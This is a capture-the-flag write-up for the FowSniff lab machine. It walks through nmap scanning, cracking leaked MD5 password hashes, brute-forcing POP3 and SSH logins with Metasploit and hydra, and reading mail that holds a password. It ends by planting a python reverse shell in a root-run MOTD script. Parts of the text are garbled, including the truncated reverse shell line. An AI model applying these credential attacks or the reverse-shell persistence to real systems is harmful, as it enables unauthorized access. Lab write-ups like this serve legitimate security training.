FowSniff CTF Write-Up:

Start with a simple nmap scan:

So we have a web server on port 80 and apop3 (mail) on 110, lets take a look at the website:

Fowsniff's internal system suffered a data breach that resulted in the exposure of employee usernames and passwords.

Client information was not affected.

Due to the strong possibility that employee information has been made publicly available, all employees have been instructed to change their passwords immediately.

The attackers were also able to hijack our official @fowsniffcorp Twitter account. All of our official tweets have been deleted and the attackers may release sensitive information via this medium. We are working to resolve this at soon as possible.

We will return to full capacity after a service upgrade.

On the website they tell us that there was a breach of employees username and passwords. Lets look for it:

```
FowSniff Corp got pwn3d by B1gN1nj4!

No one is safe from my 1337 skillz!

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4

mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56

tegel@fowsniff:1dc352435fecca338acfd4be10984009

baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb

seina@fowsniff:90dc16d47114aa13671c697fd506cf26

stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd

mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b

parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11

sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e

Fowsniff Corporation Passwords LEAKED!

FOWSNIFF CORP PASSWORD DUMP!
```

Now that we have the leaked credentials lets crack the hashes and save them in a txt file for forther enumeration:

```
1 mauer mailcall
2 mustikka bilbo101
3 tegel apples01
4 baksteen skyler22
5 seina scoobydoo2
6 mursten carp4ever
7 parede orlando12
8 sciana 07011972
```

Now using Metasploit we can bruteforce the pop3 server to see if any of these credentials is a valid username and password:

Use the scanner/pop3/pop3_login and set the right options:

```
msf6 auxiliary(scanner/pop3/pop3_login) > set rhost 10.10.34.191
rhost ⇒ 10.10.34.191
msf6 auxiliary(scanner/pop3/pop3_login) > set userpass_file "/root/Desktop/TryHackMe/Linux CTFs/POC CTF's/fowsniff1/creds.txt"
userpass_file ⇒ /root/Desktop/TryHackMe/Linux CTFs/POC CTF's/fowsniff1/creds.txt
msf6 auxiliary(scanner/pop3/pop3_login) > unset USER_FILE
Unsetting USER_FILE ...
unsetf auxiliary(scanner/pop3/pop3_login) > unset PASS_FILE
Unsetting PASS_FILE ...
```

Exploit:

So we found the credentials 'seina:scoobydoo2' are valid, lets log in to the pop3 and see if we can find something interesting:

```
(user⊗ moti-kali)-[~/.../TryHackMe/Linux CTFs/POC CTF's/fowsniff1]

# telnet 10.10.34.191 110

Trying 10.10.34.191...

Connected to 10.10.34.191.

Escape character is '^]'.

+OK Welcome to the Fowsniff Corporate Mail Server!

USER seina

+OK

PASS scoobydoo2

+OK Logged in.
```

List the mails available:

```
list
+OK 2 messages:
1 1622
2 1280
```

Lets read the first mail:

```
retr 1
+OK 1622 octets
Return-Path: <stone@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1000)
        id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
        mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
The temporary password for SSH is "S1ck3nBluff+secureshell"
```

So we have a temporary password to connect with ssh but we don't know the user name, using hydra I found it in two seconds, create a file with all the usernames found earlier:

```
(user@moti-knli)-[~/-/TryHackMe/Linux CTFs/POC CTF's/fowsniff1]
| hydra - L usernames.txt -p S1ck3nBluff+secureshell ssh://10.10.34.191 -I -V
| Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-03 11:59:49

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task

[DATA] attacking ssh://10.10.34.191:22/

[ATTEMPT] target 10.10.34.191 - login "mauer" - pass "S1ck3nBluff+secureshell" - 1 of 8 [child 0] (0/0)

[ATTEMPT] target 10.10.34.191 - login "mustikka" - pass "S1ck3nBluff+secureshell" - 2 of 8 [child 1] (0/0)

[ATTEMPT] target 10.10.34.191 - login "baksteen" - pass "S1ck3nBluff+secureshell" - 4 of 8 [child 3] (0/0)

[ATTEMPT] target 10.10.34.191 - login "seina" - pass "S1ck3nBluff+secureshell" - 5 of 8 [child 4] (0/0)

[ATTEMPT] target 10.10.34.191 - login "mursten" - pass "S1ck3nBluff+secureshell" - 7 of 8 [child 5] (0/0)

[ATTEMPT] target 10.10.34.191 - login "parede" - pass "S1ck3nBluff+secureshell" - 7 of 8 [child 5] (0/0)

[ATTEMPT] target 10.10.34.191 - login "parede" - pass "S1ck3nBluff+secureshell" - 8 of 8 [child 5] (0/0)

[ATTEMPT] target 10.10.34.191 login "parede" - pass "S1ck3nBluff+secureshell" - 8 of 8 [child 6] (0/0)

[ATTEMPT] target 10.10.34.191 login: baksteen password: S1ck3nBluff+secureshell" - 8 of 8 [child 7] (0/0)

[22][ssh] host: 10.10.34.191 login: baksteen password: S1ck3nBluff+secureshell" - 8 of 8 [child 7] (0/0)
```

Lets ssh to the machine:



Now we need to escalate our privileges to root, so for start lets check what groups are the current user in:

```
baksteen@fowsniff:~$ groups users baksteen
```

Check if there is any interesting files that belong to the 'users' group:

(there is a lot so I grep for scripts)

```
baksteen@fowsniff:~$ find / -group users 2>/dev/null | grep .sh
/opt/cube/cube.sh
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/.bashrc
```

Lets take a look at the cube.sh script:

```
baksteen@fowsniff:~$ cat /opt/cube/cube.sh
printf "
      :sddddddddddddy+
   :yNMMMMMMMMMMMnhsso
.sdmmmmmNdysssso
               dssssssso
        у.
               dssssssso
        у.
               dssssssso
        у.
                dssssssso
        у.
               dssssssso
               VSSSSSSS0
        0.
      .+mdddddddmyyyyyhy:
-: -odMMMMMMMMMmhhdy/.
.ohdddddddddddho:
                                    Delivering Solutions\n\n"
```

Its look like the logo that appear when we first log in via ssh, lets check it out -

Go in /etc/update-motd.d/:

(Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) as the root user at each login)

```
baksteen@fowsniff:/etc/update-motd.d$ ls -la

total 24

drwxr-xr-x 2 root root 4096 Mar 11 2018 .

drwxr-xr-x 87 root root 4096 Dec 9 2018 ..

-rwxr-xr-x 1 root root 1248 Mar 11 2018 00-header

-rwxr-xr-x 1 root root 1473 Mar 9 2018 10-help-text

-rwxr-xr-x 1 root root 299 Jul 22 2016 91-release-upgrade

-rwxr-xr-x 1 root root 604 Nov 5 2017 99-esm
```

In 00-header I found that it run the cube.sh script, so it means that every time someone login via ssh the script cube will run (as root!),

so lets edit the cube.sh script and add a python reverse shell:

```
GNU nano 2.5.3
                                                File: cube.sh
      :sdddddddddddddy+
   :yNMMMMMMMMMMMMnmhsso
.sdmmmmMMmmmmmMdyssssso
               dssssssso
               dssssssso
               dssssssso
               dssssssso
               VSSSSSSS0
       0.
      .+mdddddddmyyyyyhy:
   -odMMMMMMMMmhhdy/.
.ohddddddddddddho:
                                    Delivering Solutions\n\n"
python3 -c 'import socket,
                                                         et.AF_INET,socket.SOCK_
```

Now all we have to do is to start a listener and start a new ssh session and we will get a root shell:

Obtain the flag: